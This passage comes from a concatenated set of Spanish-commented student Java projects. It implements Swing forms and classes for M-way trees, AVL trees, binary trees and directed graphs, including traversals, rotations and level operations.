.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 428, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED))
.addGroup(layout.createSequentialGroup()
.addGap(26, 26, 26)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(BuscarNodo, javax.swing.GroupLayout.PREFERRED_SIZE, 120, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createSequentialGroup()
.addComponent(CantidadNodos)
.addGap(37, 37, 37)
.addComponent(Clear))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(Niveles)
.addComponent(Buscar, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(SumaNiveless)
.addComponent(PrimosNivel))))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(RecorridoNiveles2)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(RecorridoNiveles1)
.addComponent(ArbolesIguales, javax.swing.GroupLayout.PREFERRED_SIZE, 112, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton1)
.addComponent(RecorridoNiveles)
.addComponent(NivelElemento, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(RecorridoAbajoArriba, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addComponent(ParesDesdeNivel)
.addComponent(MayorNivel, javax.swing.GroupLayout.PREFERRED_SIZE, 133, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(187, 187, 187))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(Insertar, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(Insertar2, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(10, 10, 10)
.addComponent(PreOrden)
.addGap(18, 18, 18)
.addComponent(INORDEN))
.addGroup(layout.createSequentialGroup()
.addGap(12, 12, 12)
.addComponent(RecorridoNiveles)
.addGap(18, 18, 18)
.addComponent(RecorridoNiveles1)
.addGap(9, 9, 9)
.addComponent(ArbolesIguales)
.addGap(18, 18, 18)
.addComponent(jButton1))
.addComponent(jScrollPane2, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 163, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(CantidadNodos)
.addComponent(Clear))
.addGap(14, 14, 14)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(Niveles)
.addComponent(SumaNiveless))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(Buscar)
.addComponent(PrimosNivel))
.addGap(18, 18, 18)
.addComponent(BuscarNodo))
.addGroup(layout.createSequentialGroup()
.addComponent(PostOrden)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(Altura)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(Suma)
.addGap(18, 18, 18)
.addComponent(SumaNiveles))))
.addGroup(layout.createSequentialGroup()
.addGap(3, 3, 3)
.addComponent(NivelElemento)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(RecorridoAbajoArriba)
.addGap(18, 18, 18)
.addComponent(MayorNivel)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(ParesDesdeNivel)))
.addGap(18, 18, 18)
.addComponent(RecorridoNiveles2)
.addContainerGap(48, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void InsertarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_InsertarActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca elemento"));
arbol.Insertar(dato);
}//GEN-LAST:event_InsertarActionPerformed
private void INORDENActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_INORDENActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.InOrden(Salida);
}//GEN-LAST:event_INORDENActionPerformed
private void PreOrdenActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PreOrdenActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.PreOrden(Salida);
}//GEN-LAST:event_PreOrdenActionPerformed
private void PostOrdenActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PostOrdenActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.PostOrden(Salida);
}//GEN-LAST:event_PostOrdenActionPerformed
private void AlturaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_AlturaActionPerformed
// TODO add your handling code here:
Salida.setText(String.valueOf(arbol.Altura()));
}//GEN-LAST:event_AlturaActionPerformed
private void SumaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SumaActionPerformed
// TODO add your handling code here:
Salida.setText("");
Salida.setText(String.valueOf(arbol.SumaElementos()));
}//GEN-LAST:event_SumaActionPerformed
private void BuscarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_BuscarActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca elemento a buscar"));
if(arbol.Existe(dato))
{
JOptionPane.showMessageDialog(null,"EL DATO EXISTE");
}
else
{
JOptionPane.showMessageDialog(null,"EL DATO NO EXISTE");
}
}//GEN-LAST:event_BuscarActionPerformed
private void NivelesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NivelesActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el nivel del cual quiere ver los elementos"));
Salida.setText(" ");
arbol.Nivel(dato, Salida);
}//GEN-LAST:event_NivelesActionPerformed
private void SumaNivelesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SumaNivelesActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el nivel para realizar la suma de los mismos"));
Salida.setText(" ");
Salida.setText(String.valueOf (arbol.SumaNivel(dato)));//Esto retorna un dato
}//GEN-LAST:event_SumaNivelesActionPerformed
private void ClearActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ClearActionPerformed
// TODO add your handling code here:
Salida.setText("");
}//GEN-LAST:event_ClearActionPerformed
private void BuscarNodoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_BuscarNodoActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el elemento para buscar su nodo"));
Nodo N=arbol.BuscarNodo(dato);
if(N!=null)
{
for (int i = 1; i <= N.CantOcupados(); i++)
{
Salida.append(String.valueOf(N.getElem(i))+ " ");
}
}
else
{
JOptionPane.showMessageDialog(null,"EL ELEMENTO INGRESADO NO ESTA EN EL ARBOL, POR LO TANTO NO TIENE NODO");
}
}//GEN-LAST:event_BuscarNodoActionPerformed
private void CantidadNodosActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CantidadNodosActionPerformed
// TODO add your handling code here:
Salida.setText("");
Salida.setText(String.valueOf(arbol.CantidadNodos()));
}//GEN-LAST:event_CantidadNodosActionPerformed
private void SumaNivelessActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SumaNivelessActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.SumaNiveles(Salida);
}//GEN-LAST:event_SumaNivelessActionPerformed
private void RecorridoNivelesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RecorridoNivelesActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
arbol.RecorridoNivelesArribaAbajoIterativo(Salida);
}//GEN-LAST:event_RecorridoNivelesActionPerformed
private void RecorridoNiveles1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RecorridoNiveles1ActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.RecorridoNivelesIzquierdaDerecha(Salida);
}//GEN-LAST:event_RecorridoNiveles1ActionPerformed
private void ArbolesIgualesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ArbolesIgualesActionPerformed
// TODO add your handling code here:
if(arbol.ArbolesIguales(arbol2))
{
JOptionPane.showMessageDialog(null,"Son iguales");
}
else
{
JOptionPane.showMessageDialog(null,"No son iguales");
}
}//GEN-LAST:event_ArbolesIgualesActionPerformed
private void Insertar2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_Insertar2ActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca elemento"));
arbol2.Insertar(dato);
}//GEN-LAST:event_Insertar2ActionPerformed
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.ParesPorNivel(Salida);
}//GEN-LAST:event_jButton1ActionPerformed
private void NivelElementoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NivelElementoActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el elemento para conocer su nivel:"));
Salida.setText(String.valueOf(arbol.NivelElemento(dato)));
}//GEN-LAST:event_NivelElementoActionPerformed
private void RecorridoAbajoArribaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RecorridoAbajoArribaActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.RecorridoNivelAbajoArriba(Salida);
}//GEN-LAST:event_RecorridoAbajoArribaActionPerformed
private void MayorNivelActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_MayorNivelActionPerformed
// TODO add your handling code here:
Salida.setText("");
arbol.MayorElementoporNivel(Salida);
}//GEN-LAST:event_MayorNivelActionPerformed
private void ParesDesdeNivelActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ParesDesdeNivelActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el nivel:"));
arbol.ParesApartirdeunNivel(Salida, dato);
}//GEN-LAST:event_ParesDesdeNivelActionPerformed
private void RecorridoNiveles2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RecorridoNiveles2ActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
arbol.RecorridoNivelesArribaAbajo(Salida);
}//GEN-LAST:event_RecorridoNiveles2ActionPerformed
private void PrimosNivelActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PrimosNivelActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
arbol.PrimosxNivel(Salida);
}//GEN-LAST:event_PrimosNivelActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainForm().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton Altura;
private javax.swing.JButton ArbolesIguales;
private javax.swing.JButton Buscar;
private javax.swing.JButton BuscarNodo;
private javax.swing.JButton CantidadNodos;
private javax.swing.JButton Clear;
private javax.swing.JButton INORDEN;
private javax.swing.JButton Insertar;
private javax.swing.JButton Insertar2;
private javax.swing.JButton MayorNivel;
private javax.swing.JButton NivelElemento;
private javax.swing.JButton Niveles;
private javax.swing.JButton ParesDesdeNivel;
private javax.swing.JButton PostOrden;
private javax.swing.JButton PreOrden;
private javax.swing.JButton PrimosNivel;
private javax.swing.JButton RecorridoAbajoArriba;
private javax.swing.JButton RecorridoNiveles;
private javax.swing.JButton RecorridoNiveles1;
private javax.swing.JButton RecorridoNiveles2;
private javax.swing.JTextArea Salida;
private javax.swing.JButton Suma;
private javax.swing.JButton SumaNiveles;
private javax.swing.JButton SumaNiveless;
private javax.swing.JButton jButton1;
private javax.swing.JScrollPane jScrollPane2;
// End of variables declaration//GEN-END:variables
}
<file_sep>/Grafos Dirigidos(Lista Objetos)/src/Vertice.java
//Tuvimos que heredad de la clase Comparable para usar la cola de prioridad
public class Vertice implements Comparable<Vertice>
{
String nombre;
public Lista LArcos;
boolean marcado;
float distancia;//Distancia mas corta desde vertice inicial a vertice con ID
String previo;//Esto almacena el id del vertice anterior sirve para la impresion
public Vertice(String nom) {
this.nombre = nom;
this.LArcos = new Lista();
this.marcado=false;
this.distancia=Float.POSITIVE_INFINITY;
this.previo="null";
}
public void setNombre(String nom) {
this.nombre = nom;
}
public String getNombre() {
return this.nombre;
}
public int getCantArcos() {
return LArcos.dim();
}
/*public void marcar(){
this.marcado=true;
}
public boolean estado()
{
return this.marcado;
}*/
//Inserta el arco q ya viene creado
public void insertarArco(Arco arco) {
LArcos.insertarUlt(arco);
}
public int compareTo( Vertice other){ //es necesario definir un comparador para el correcto funcionamiento del PriorityQueue
if( this.distancia > other.distancia ) return 1;
if( this.distancia == other.distancia ) return 0;
return -1;
}
public void eliminarArco(String nombreVD) {
int i = 0;
Arco a;
while (i < LArcos.dim())
{
a = (Arco)LArcos.getElem(i);
if (a.getNombreVertD() == nombreVD){
LArcos.eliminar(i);
}
i++;
}
}
public void ordenarArcosAlf() {
Arco aux; Arco a1; Arco a2;
for(int i=0;i<LArcos.dim();i++){
for(int j=0;j<LArcos.dim()-1;j++){
a1=(Arco)LArcos.getElem(j);
a2=(Arco)LArcos.getElem(j+1);
if(a1.getNombreVertD().compareTo(a2.getNombreVertD())>0){
aux=(Arco)LArcos.getElem(j);
LArcos.setElem(a2, j);
LArcos.setElem(aux, j+1);
}
}
}
}
}//end class<file_sep>/Grafos Dirigidos/src/grafos/dirigidos/Grafo.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package grafos.dirigidos;
import javax.swing.JOptionPane;
import javax.swing.JTextArea;
/**
*
* @author <NAME>
*/
public class Grafo {
private Vertice primeroV;
public Grafo() {
primeroV = null;
}
public Vertice crearVertice(Vertice proxV, String nomb, Arco priA) {
Vertice p = new Vertice(proxV, nomb, priA);
if (p == null) {
JOptionPane.showMessageDialog(null, "No existe espacio de memoria");
}
return p;
}
public Arco crearArco(Vertice verD, float precio, Arco proxA) {
Arco q = new Arco(verD, precio, proxA);
if (q == null) {
JOptionPane.showMessageDialog(null, "No existe espacio de memoria");
}
return q;
}
public Vertice buscarVertice(String nom) {
Vertice p = primeroV;
while (p != null) {
if (p.getNombre().equals(nom)) {
return p;
} else {
p = p.getProx();
}
}
return null;
}
public void insertarArco(String A, String B, float cost) {
Vertice pa = buscarVertice(A);
Vertice pb = buscarVertice(B);
if (pa == null) {
pa = primeroV = crearVertice(primeroV, A, null);
}
if (pb == null) {
pb = primeroV = crearVertice(primeroV, B, null);
}
pa.setPrimero(crearArco(pb, cost, pa.getPrimero()));
}
public void imprimir(JTextArea ta) {
Vertice p = primeroV;
Arco q;
while (p != null) {
q = p.getPrimero();
while (q != null) {
ta.append(p.getNombre() + "--> " + q.getVerticeD().getNombre() + " " + String.valueOf(q.getCosto()));
ta.append("\n");
q = q.getProx();
}
p = p.getProx();
}
}
public float peso()
{
float weight=0;
Vertice p = primeroV;
Arco q;
while (p != null) {
q = p.getPrimero();
while (q != null) {
weight=weight+q.getCosto();
q = q.getProx();
}
p = p.getProx();
}
return weight;
}
public int ArcosSalientes(String vertice)
{
int narcos=0; //:v//
Vertice p=this.buscarVertice(vertice);
Arco q=p.getPrimero();//Nos devuelve el primer arco del vertice
while(q!=null)
{
narcos++;
q=q.getProx();
}
return narcos;
}
} //end class
<file_sep>/ArbolesAVL/src/arbolesavl/ArbolAVL.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package arbolesavl;
import java.util.LinkedList;
import java.util.Queue;
import javax.swing.JTextArea;
/**
*
* @author <NAME>
*/
public class ArbolAVL
{
private NodoBinAVL raiz;
public void ArbolAVL()
{
raiz=null;
}
public NodoBinAVL getRaiz()
{
return raiz;
}
//Como es recursiva revisa que cada nodo despues de insertar este balanceado sino lo balancea y devuelve un mismo nodo
private NodoBinAVL InsertarBalanceado(int d, NodoBinAVL P)
{
//Lo insertamos normalmente
if(P==null) P=new NodoBinAVL(d);
if(P.getElem()>d)
{
P.setHI(InsertarBalanceado(d,P.getHI()));
}
else if(P.getElem()<d)
{
//Le mando insertar balanceado porque asi en caso que este desbalanceado devuelva un nuevo nodo con las operaciones respectivas
//para seguir balanceando
P.setHD(InsertarBalanceado(d,P.getHD()));
}
int balanceo=this.FactorBalance(P);
if(balanceo>1 && this.FactorBalance(P.getHI())==1)
{
return this.RotacionDerecha(P);
}
if(balanceo<-1 && this.FactorBalance(P.getHD())==-1)
{
return this.RotacionIzquierda(P);
}
if(balanceo==2 && this.FactorBalance(P.getHI())==-1)
{
return this.RotacionIzquierdaDerecha(P);
}
if(balanceo==-2 && this.FactorBalance(P.getHD())==1)
{
return this.RotacionDerechaIzquierda(P);
}
return P;
}
private NodoBinAVL RotacionDerecha(NodoBinAVL P)
{
NodoBinAVL aux;
aux=P.getHI();
P.setHI(aux.getHD());
aux.setHD(P);
return aux;
}
private NodoBinAVL RotacionIzquierda(NodoBinAVL P)
{
//Esto es facil haz la prueba de escritorio :v
NodoBinAVL aux;
aux=P.getHD();
P.setHD(aux.getHI());
aux.setHI(P);
return aux;
}
private NodoBinAVL RotacionDerechaIzquierda(NodoBinAVL P)
{
//Aqui dada una raiz rotamos su hijo derecho primero
//para que nos quede como una lista despues rotamos toda la raiz
//Y le mandamos para que retorne la nueva raiz
P.setHD(this.RotacionDerecha(P.getHD()));//aqui ponemos set para que el subarbol rotado a la derecha ya este listo para hacer el giro a la izquierda
return this.RotacionIzquierda(P);
}
private NodoBinAVL RotacionIzquierdaDerecha(NodoBinAVL P)
{
//Misma explicacon que con derecha izquierda solo que invertido
P.setHI(this.RotacionIzquierda(P.getHI()));
return this.RotacionDerecha(P);
}
public int Altura()
{
return Altura(this.raiz);
}
private boolean esHoja(NodoBinAVL P)
{
if(P.getHD()==null && P.getHI()==null)
{
return true;
}
return false;
}
private int Altura(NodoBinAVL P)
{
if(P==null) return 0;
else
{
if(esHoja(P))
{
return 1;
}
else
{
int s=Altura(P.getHD());
int j=Altura(P.getHI());
if(s>=j) return s+1;
else
{
return j+1;
}
}
}
}
private int FactorBalance(NodoBinAVL P)
{
return Altura(P.getHI())-Altura(P.getHD());
}
public void InsertarBalanceado(int d)
{
//Igualamos a la raiz para que cuando se balancee no se pierda
this.raiz=InsertarBalanceado(d,this.raiz);
}
public void Niveles(JTextArea jta)
{
Queue<NodoBinAVL> colapadre=new LinkedList();
Queue<NodoBinAVL> colahijo=new LinkedList();
NodoBinAVL aux=null;
colapadre.add(raiz);
while(!colapadre.isEmpty())
{
aux=colapadre.poll();
jta.append(String.valueOf(aux.getElem())+" ");
if(aux.getHI()!=null)
{
colahijo.add(aux.getHI());
}
if(aux.getHD()!=null)
{
colahijo.add(aux.getHD());
}
if(colapadre.isEmpty())
{
jta.append("\n");
colapadre=colahijo;
colahijo=new LinkedList();
}
}
}
public void PreOrden(JTextArea jta)
{
PreOrden(jta,this.raiz);
}
private void PreOrden(JTextArea jta,NodoBinAVL P)
{
if(P==null) return;
jta.append(P.getElem()+" ");
PreOrden(jta,P.getHI());
PreOrden(jta,P.getHD());
}
}
<file_sep>/ArbolesM-Vias/src/arbolesm/vias/Nodo.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package arbolesm.vias;
/**
*
* @author <NAME>
*/
public class Nodo {
//variables
public static int M = 4; //vias
private int Elemento[];
private Nodo Hijo[];
private boolean Estado[];
//constructor
public Nodo()//posible constructor con M no estatico, pensarlo
{
Elemento = new int[M - 1];
Estado = new boolean[M - 1];
Hijo = new Nodo[M];
for (int i = 0; i < M - 1; i++) {
Estado[i] = false;
Hijo[i] = null;
}
Hijo[M - 1] = null;
}
//getters
public int getElem(int i) {
return Elemento[i - 1];
}
public Nodo getHijo(int i) {
return Hijo[i - 1];
}
//setters
public void setElem(int x, int i) {
Elemento[i - 1] = x;
Estado[i - 1] = true;
}
public void setHijo(Nodo P, int i) {
Hijo[i - 1] = P;
}
public void setVacio(int i) {
Estado[i - 1] = false;
}
//metodos
public boolean Ocupado(int i) {
return Estado[i - 1];
}
public boolean Vacio(int i) {
return !Estado[i - 1];
}
public int CantVacias() {
int c = 0;
for (int i = 0; i < Estado.length; i++) {
if (Estado[i] == false) {
c++;
}
}
return c;
}
public int CantOcupados() {
return (M - 1) - CantVacias();
}
public boolean Lleno() {
return (CantVacias() == 0);
}
public boolean BuscarElemento(int x)
{
for(int i=1;i<=this.CantOcupados();i++)
{
if(this.getElem(i)==x)
{
return true;
}
}
return false;
}
public int SumaE()
{
int suma=0;
for(int i=1;i<=M-1;i++)
{
suma+=this.getElem(i);
}
return suma;
}
public boolean NodosIguales(Nodo P)
{
if(P.CantOcupados()==this.CantOcupados())
{
for (int i = 1; i <= P.CantOcupados(); i++)
{
if(P.getElem(i)!=this.getElem(i))
{
return false;
}
}
return true;
}
else
{
return false;
}
}
public int ElementoMayor()
{
int elem=this.getElem(1);
for (int i = 2; i <= this.CantOcupados(); i++)
{
if(elem<this.getElem(i))
{
elem=this.getElem(i);
}
}
return elem;
}
} //end class Nodo
<file_sep>/ArbolesAVL/src/arbolesavl/NodoBinAVL.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package arbolesavl;
/**
*
* @author <NAME>
*/
public class NodoBinAVL{
private NodoBinAVL hijoIzq;
private int elemento;
private NodoBinAVL hijoDer;
private int factorEquilibrio;
public NodoBinAVL(int e) {
hijoIzq=null;
elemento = e;
hijoDer=null;
factorEquilibrio=0;
}
NodoBinAVL() {
throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
}
public void setFE(int i)
{
factorEquilibrio=i;
}
public int getFE()
{
return factorEquilibrio;
}
public void EliminarHI()
{
hijoIzq=null;
}
public void EliminarHD()
{
hijoDer=null;
}
public void setHI(NodoBinAVL izq){
hijoIzq = izq;
}
public void setElem(int e) {
elemento = e;
}
public void setHD(NodoBinAVL der) {
hijoDer = der;
}
public NodoBinAVL getHI() {
return hijoIzq;
}
public int getElem() {
return elemento;
}
public NodoBinAVL getHD() {
return hijoDer;
}
}//end class<file_sep>/ArbolesBinarios/src/arbolesbinarios/MainForm.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package arbolesbinarios;
import javax.swing.JOptionPane;
/* *
* @author <NAME>
*/
public class MainForm extends javax.swing.JFrame {
ArbolBinario arbolb=new ArbolBinario();
ArbolBinario arbolb1=new ArbolBinario();
/**
* Creates new form MainForm
*/
public MainForm() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
Salida = new javax.swing.JTextArea();
Insertar = new javax.swing.JButton();
PreOrden = new javax.swing.JButton();
Inorden = new javax.swing.JButton();
VerificarLista = new javax.swing.JButton();
Podar = new javax.swing.JButton();
Insertar2 = new javax.swing.JButton();
EsSubArbol = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
Salida.setColumns(20);
Salida.setRows(5);
jScrollPane1.setViewportView(Salida);
Insertar.setText("INSERTAR");
Insertar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
InsertarActionPerformed(evt);
}
});
PreOrden.setText("PREORDEN");
PreOrden.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
PreOrdenActionPerformed(evt);
}
});
Inorden.setText("INORDEN");
VerificarLista.setText("VERIFICAR LISTA");
VerificarLista.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
VerificarListaActionPerformed(evt);
}
});
Podar.setText("PODAR");
Podar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
PodarActionPerformed(evt);
}
});
Insertar2.setText("Insertar 2");
Insertar2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Insertar2ActionPerformed(evt);
}
});
EsSubArbol.setText("EsSubArbol");
EsSubArbol.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
EsSubArbolActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(Inorden, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(Insertar, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(PreOrden, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(36, 36, 36)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(Insertar2))
.addComponent(VerificarLista)
.addComponent(Podar)
.addComponent(EsSubArbol))
.addContainerGap(146, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGap(38, 38, 38)
.addComponent(Insertar)
.addGap(18, 18, 18)
.addComponent(PreOrden)))
.addGap(18, 18, 18)
.addComponent(Inorden))
.addGroup(layout.createSequentialGroup()
.addGap(26, 26, 26)
.addComponent(Insertar2)))
.addGap(18, 18, 18)
.addComponent(VerificarLista)
